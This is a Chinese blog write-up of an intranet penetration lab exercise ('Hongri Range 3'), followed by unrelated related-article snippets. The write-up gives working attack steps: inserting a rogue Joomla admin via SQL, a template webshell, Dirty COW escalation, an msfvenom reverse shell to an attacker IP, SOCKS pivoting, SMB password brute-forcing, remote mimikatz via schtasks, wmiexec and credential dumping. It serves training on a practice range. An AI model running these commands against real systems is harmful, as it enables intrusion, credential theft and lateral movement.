程序员经验分享-hwhale

内网渗透—红日靶场三

2023-11-01

0x01、环境配置

打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。

挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。

除重新获取ip，不建议进行任何虚拟机操作。

参考虚拟机网络配置，添加新的网络，该网络作为内部网络。

注：名称及网段必须符合上述图片，进行了固定ip配置。

描述

目标：域控中存在一份重要文件。

本次环境为黑盒测试，不提供虚拟机账号密码。

image-20220418183908131

image-20220419174835704

攻击机与Centos处于公网（桥接），其余机器与Centos处于同一内网

用Centos去ping其他内网机器查看是否网络畅通

0x02、Centos getshell

image-20220420001257456

image-20220419175005848

访问网站，发现是joomla的cms，可以使用kali扫描目录

joomscan -u 目标IP

image-20220419175224111

找到后台地址、robots.txt、配置文件等路径

image-20220419175729312

image-20220419175720198

在配置文件中发现数据库账号信息

image-20220419175907933

尝试使用远程管理工具连接数据库

image-20220419180100582

查后台用户名密码，通过搜索功能找到可能与用户账好信息有关的表

image-20220419180223230

得到一个超级用户的信息

image-20220419180251304

密码经过MD5加盐处理无法解密

此时可以通过cms官网查询管理员账户重置密码或创建新超级管理员方法

image-20220419180557229image-20220419180753902

INSERT INTO `jos31_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

注意修改表前缀

image-20220419180920712

此时发现已成功新建一个账户

image-20220419181035282

解密后得到新超管密码

登录后台后发现报错，但是不影响我们getshell

image-20220419194326967

在功能里发现了模板模块，众所周知，这个地方是getshell的多发点

image-20220419194516083

进入后新建一个文件或者直接修改当前存在文件，加上一句话后，访问即可getshell

image-20220419194919631

image-20220419194948295

回到刚刚报错，通过百度查询到这个原因是：检查php版本，代码中预设的版本日期都过期了，就是查找当前时间的版本找不到了，看下图

文件路径：/var/www/html/plugins/quickicon/phpversioncheck/phpversioncheck.php

image-20220419195116757

将日期修改即可

'7.3' => array(
			'security' => '2020-12-06',
			'eos'      => '2023-12-06',
		),

0x03、Centos提权

查看当前用户权限发现无法执行命令

image-20220419195515442

猜测是disable_functions禁用了一些可以执行命令或代码的函数。

在开始目录扫描时发现了一个1.php，进入后是phpinfo

image-20220419232112752

使用蚁剑插件

image-20220419200549463

修改刚才的连接

image-20220419200657741

再次执行命令，发现是低权限用户

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j7Ftq9J1-1650711340054)(https://gitee.com/aspirin_s/note-picture/raw/master/img/WEB%E6%B8%97%E9%80%8F/image-20220419201621975.png)]

查看对方ip发现网卡地址为192.168.93.120，与我们访问的IP（192.168.93.100）不同，猜测对方开启Nginx反向代理

image-20220419234024569

查看其它是否存在敏感文件，一般根目录下的tmp文件下会有重要信息

发现一个写有账号密码的文件

image-20220420000120243

之前的端口扫描中发现了22端口，尝试连接SSH，成功连上

image-20220420000245035

信息收集第一步—先看内核

uname -a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fGsnSxCm-1650711340055)(https://gitee.com/aspirin_s/note-picture/raw/master/img/WEB%E6%B8%97%E9%80%8F/image-20220420000400954.png)]

版本号大于2.6.32，可以使用脏牛漏洞提权

使用winscp传输文件

image-20220420001940108

对脏牛赋权并编译

chmod +x dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty root   //修改root账户，密码为root

提示已存在文件

rm /tmp/passwd.bak
./dirty root

image-20220420002649353

这里虽然用户名是firefart，但是执行id命令发现是root权限

image-20220420003610822

0x04、内网穿透—设置路由

kali中生成马并监听

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.63.43.7 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf

use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 0.0.0.0
set lport 6666
exploit

用root权限账号传输马到服务器上

image-20220420004709731

赋权并运行马

image-20220420004752505

成功上线

image-20220423150948938

查看路由

run get_local_subnets

image-20220420010240594

添加路由

run autoroute -s 192.168.93.0/24

run autoroute -p

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eSU5mpEM-1650711340058)(https://gitee.com/aspirin_s/note-picture/raw/master/img/WEB%E6%B8%97%E9%80%8F/image-20220420010334636.png)]

挂起

background

smb内网探测

use auxiliary/scanner/smb/smb_version
options
set rhosts 192.168.93.0/24
exploit

探测出三台windows主机

image-20220423151247431

image-20220423151258327

image-20220423151310565

0x05、内网穿透—设置代理

use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 10.63.43.7(攻击机)
exploit

记得修改配置文件

爆破smb

proxychains hydra -l administrator -P 字典 -s 445 192.168.93.20 smb

爆破得到administrator账号密码123qwe!ASD

image-20220423165413023

0x06、获取内网目标shell

通过smb拿shell

proxychains smbclient //192.168.93.20/c$ -U administrator

输入密码后成功登录

使用put命令可以传文件

image-20220423165454837

或者本地挂代理使用k8tools拿shell

在k8tools文件夹下打开终端

net use \\192.168.93.20\ipc$ "123qwe!ASD" /user:"administrator"
当提示命令完成后说明对方开始开启ipc连接

copy 本地文件地址 \\192.168.93.20\C$
添加计划任务
schtasks /create /tn "test" /tr C:\mimikatz.exe /sc once /st 17:00 /S 192.168.93.20 /RU System -U administrator /p "123qwe!ASD"

方法二
wmiexec.exe administrator:123qwe!ASD@192.168.93.20
输入?查看帮助

image-20220423170009422

image-20220423171130907

image-20220423171533025

image-20220423170704302

kali中wmiexec.py工具

下载地址：https://github.com/coresecurity/impacket/blob/masterexamples/wmiexec.py
需要先下载impacket工具包，这里面有很多工具
git clone http://github.com/CoreSecurity/impacket.git
cd impacket/
pip install
cd impacket-master/examples
安装成功后，切换到examples目录下，运行如下命令获取目标系统192.168.93.20的shell
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

设置远程桌面

reg add “HKLM\System\CurrentControls\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f

开启远程桌面

wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1

检查端口状态

net -an|find “3389”

image-20220423173106868

image-20220423174738873

使用msf生成马并监听，此时需要挂代理去开启msf

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=12345 -f exe > 1.exe

proxychains4 msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LPORT 12345
exploit

image-20220423175058426

此时可以看到两种方式上传的文件（mimikatz.exe和1.exe）

getuid

image-20220423182424446

使用猕猴桃抓取密码

load mimikatz

wdigest或kerberos

但是不知道到怎么回事没有抓回来

如果使用load kiwi需要system权限

load kiwi
creds_all
getsystem
getuid
creds_all

抓取密码

这里同样没有抓回来

其余思路同上

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

渗透测试

网络安全

web安全

内网渗透—红日靶场三 的相关文章

  • Linux服务字符集--locale命令

    在查看Tomcat日志中 会发现中文乱码 乱码的原因就是字符集问题 在 Linux 中 可以使用 locale 命令查看当前系统的字符集 该命令输出当前系统所使用的语言环境信息 包括地域 编码等 执行以下命令 locale 输出结果可能类似

  • 使用Spring Initializer快速创建Spring Boot项目

    默认生成的Spring Boot项目 主程序已经生成好了 resources文件夹中目录结构 static 保存所有的静态资源 templates 保存所有的模板页面 默认不支持JSP页面 可以使用模板引擎 freemarker等 appl

  • github上的文档结构学习

    开源项目目录规范 此为前端开发团队遵循和约定的开源项目目录规范 意在实现开源项目目录结构的一致性 说明 文档中使用的关键字 MUST MUST NOT REQUIRED SHALL SHALL NOT SHOULD SHOULD NOT R

  • RocketMQ发送接收项目实战+对cos或者oss服务上的pdf文件和图片加水印

    使用mq的原因 因为项目中文件上传比较多 需要使用mq分担当前系统线程压力 所以单独使用一个服务来处理文件上传 加快文件上传速度的同时也缓解了当前服务的处理压力 核心服务1 一个项目 发送mq GeneralFileEvent 需要发送给m

  • Qt+gsoap调用WebService

    版权声明 本文为原创作品 请尊重作者的劳动成果 转载必须保持文章完整性 并以超链接形式注明原始作者 tingsking18 和主站点地址 方便其他朋友提问和指正 Qt gsoap调用WebService 1 前言 Qt本身给我们提供了调用W

  • C#系列之ref与out

    目录 1 学习ref与out的原因 2 ref与out的使用 ref的使用 out的使用 3 ref和out的区别 1 学习ref与out的原因 为了解决里面改变外面也改变的问题 使用它们 在函数内部传入的内容里面一旦改变 外面也会跟着改变

随机推荐

  • 连接服务器失败请检查配置文件,连接服务器失败请检查网络

    连接服务器失败请检查网络 内容精选 换一换 当连接目的端服务器失败时 提示 sms 1807 sms 2802 无法连接目的虚拟机 请检查目的虚拟机IP是否可达 或者8899 8900端口是否开放 如下图所示 windows系统迁移时 目的

  • 要做接口并发性能测试，总得先学会分析吧！

    引言 这篇是我3月份在公司内部做的技术分享内容 由于我在公司内部分享的内容较多以及一些特殊性 我摘取了接口并发测试从设计思路整理 测试方案设计 设计分析 代码编写这套流程 我不会承认我把40多页PPT的内容都放在这篇博文里 不管是在内部技术

  • 从零开始制作游戏外挂

    一 什么叫外挂 现在的网络游戏多是基于Internet上客户 服务器模式 服务端程序运行在游戏服务器上 游戏的设计者在其中创造一个庞大的游戏空间 各地的玩 家可以通过运行客户端程序同时登录到游戏中 简单地说 网络游戏实际上就是由游戏开发商提

  • 【专题】我们常用的功能自动化测试工具——Selenium篇

    导语 Selenium也是一个用于Web应用程序测试的工具 Selenium测试直接运行在浏览器中 就像真正的用户在操作一样 支持的浏览器包括IE Mozilla Firefox Mozilla Suite等 这个工具的主要功能包括 测试与

  • 备赛电赛学习硬件篇（二）：电源板电路设计

    目录 一 接口 二 稳压部分 三 防反接电路 四 电流与线宽 一 接口 1 输入接口 要准

  • 调试osgEarth（33）分页瓦片卸载器子节点的作用-（3）渲染遍历的帧号和时间设置-TerrainCuller赋值给可渲染图层--TerrainRenderData-Layer

    继续调试 再回顾下Layer类的成员变量 就是说 初始化时调用init 添加到Map上时 setReadOptions gt open gt addedToMap 移除时用removedFromMap 总结下 Layer是个基类 有自己的唯

  • MATLAB实现doc文件的批量改名

    对于一个文件夹中的多个doc文件进行批量改名 下图中是笔者从学生那里收上来的记录表 说了要统一命名也没人听 我又懒得一个个改 只好费点时间编程了 两种实现的思路 一是从旧文件名中选取特定位置的字符 组成新的文件名 要求文件名有固定的位置 比

  • Swift之 ? 和 !

    04 June 2014 Swift语言使用var定义变量 但和别的语言不同 Swift里不会自动给变量赋初始值 也就是说变量不会有默认值 所以要求使用变量之前必须要对其初始化 如果在使用变量之前不进行初始化就会报错 var stringV

  • 产品设计七大定律

    Alan Cooper 交互设计之父 除非有更好的选择 否则就遵从标准 许多设计准则都基于人类心理学 人们如何感知 学习 推理 记忆 以及把意图转换为行动 菲茨定律 菲茨定律用来预测某点到目标位置所需要时间的数学模型 在页面中 大而近的目标

  • 共模电感

    一 背景 关电源会产生以下两类噪声 共模和差模 差模噪声 图a 的传播途径和输入电流相同 共模噪声 图b 表现为彼此相等且同相的噪声 其传播途径经绕组与地线相连 本文主要讲解抑制共模的共模电感的磁芯选择 二 共模电感的抑制原理 电感器对高频

  • Qt5 Qstring::asprintf(“%.3f“, a)精度问题，有时四舍五入，有时直接丢弃。

    问题描述 提示 这里描述具体问题 在Qt5 12开发软件时发现 用Qstring asprintf 3f a 这个函数做精度控制 有时直接四舍五入 有时直接将精度后面的数据拿掉 例如 Qstring asprintf 3f a 四舍五入 f

  • 机器学习算法 决策树

    文章目录 一 决策树的原理 二 决策树的构建 2 1 ID3算法构建决策树 2 2 C4 5 算法树的构建 2 3 CART 树的创建 三 决策树的优缺点 一 决策树的原理 决策树 Decision Tree 是一种非参数的有监督学习方法

  • 10.12黄金原油资讯直通车，黄金原油区间震荡后市操作建议

    黄金消息面与技术面解析 消息面 本周显然又是一个 超级周 数据方面 将迎来中国CPI PPI数据和进出口数据 美国将公布CPI PPI 零售销售等重磅经济数据 风险事件方面 OPEC EIA和IEA都将公布原油市场月度报告 美联储多位票委和

  • eslint+prettier+vue3格式化

    项目里面安装并配置eslint 参考官网执行如下命令 npm init eslint config 等价于 npm install eslint D 安装eslint npx eslint init 初始化配置eslint 执行后会有一些配

  • 【论文笔记】：UnitBox

    Title 2016 ACM MM UnitBox An Advanced Object Detection Network Abstract 传统的目标框含有四个独立的坐标变量 丢失了相互之间的信息 导致AP下降 Unit Box 提出了

  • java操作RabbitMQ

    1 创建虚拟主机 交换机 队列 RabbitMQ提供了自己的管理界面 可以通过管理界面来完成VirtualHost Exchange queue的创建 1 1创建VirtualHost 1 2创建交换机 创建交换机的时候需要指定虚拟主机以及

  • 切换默认python版本（解决ROS中python默认版本为python2的问题）

    1 前言 许多小伙伴在安装完ROS以后 需要基于python3写ROS程序 尤其是部署深度学习算法 但是ROS默认的python版本为python2 导致无法兼容一些基于python3写的算法 有的小伙伴会选择利用anaconda来创建py

  • 蓝桥杯单片机之AT24C02模块的使用

    蓝桥杯单片机之AT24C02时钟模块的使用 简介部分 EEPROM AT24C02 引脚示意 设备地址 Device Address 基本操作 字节写入 分析手册 字节读取 随机读取 根据需要读取的地址进行读取 分析手册 读与写函数代码 实

  • 计算并输出给定正整数n的所有因子（不包括1和自身）之和

    国二有题目 请编写函数fun 该函数的功能是 计算并输出给定正整数n的所有因子 不包括1和自身 之和 规定n的值不大于1000 例如 在主函数中从键盘给n输入的值为856 则输出为 sum 763 代码如何完成呢 分析 1 输入的数字要是整

  • 内网渗透—红日靶场三

    文章目录 0x01 环境配置 0x02 Centos getshell 0x03 Centos提权 0x04 内网穿透 设置路由 0x05 内网穿透 设置代理 0x06 获取内网目标shell 通过smb拿shell 或者本地挂代理使用k8

热门标签